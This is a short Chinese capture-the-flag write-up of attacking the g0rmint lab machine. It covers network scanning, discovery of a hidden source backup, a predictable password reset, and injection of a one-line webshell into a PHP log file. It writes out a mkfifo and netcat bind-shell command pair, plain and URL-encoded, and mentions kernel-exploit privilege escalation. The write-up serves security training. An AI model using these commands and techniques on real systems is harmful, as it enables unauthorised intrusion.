实验环境
靶机:g0rmint
测试机:kali(IP:192.168.186.128),win10
实验过程
信息收集
主机发现
netdiscover -I eth0 -r 192.168.186.0/24
nmap -sn 192.168.186.0/24
arp-scan -l ,arp-scan 192.168.186.0/24
端口扫描
服务发现
查看web主页,没有主页
目录扫描
robots.txt
漏洞发现
找到/gormint/目录
查看网页源码关键字author,keyword尝试爆破,backup-directory备份文件
访问http://192.168.186.131/g0rmint/s3cretbackupdirect0ry/
再用dirb去扫该目录
关键字backup.zip,访问http://192.168.186.131/g0rmint/s3cretbackupdirect0ry/backup.zip下载
漏洞利用
源码审计
查看config.php文件,addlog函数添加日志文件,文件名年月日,在s3cr3t-dir3ct0ry-f0r-l0gs/目录下
查看login.php 将登录失败的邮箱添加到日志里
尝试用一句话作为邮箱登录,访问日志文件http://192.168.186.131/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2020-07-04.php。但需要登陆
查看reset.php,重置密码为年月日时分秒的sha1加密
css/style.css文件下找到用户名,邮箱
尝试重置密码
登录
重新访问日志文件
写入一句话
反弹shell
反弹shell(主要是通过创建管道通信连接)
‘mkfifo /tmp/t’;
‘cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t‘;
用url部分编码后分两步执行
%60mkfifo%20%2ftmp%2ft%60%3B
%60cat%20%2ftmp%2ft%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20-l%208888%20%3E%20%2ftmp%2ft%60%3B
提权
版本提权
编译
开启简易web服务python -m SimpleHTTPServer 8080
下载运行
总结
1.基本的源码审计,也可找网站对应的cms源码,进行审计.
2.对于日志文件(ssh登录,web访问,web登录等),写入一句话访问,或利用文件包含进行访问,解析漏洞等进行访问.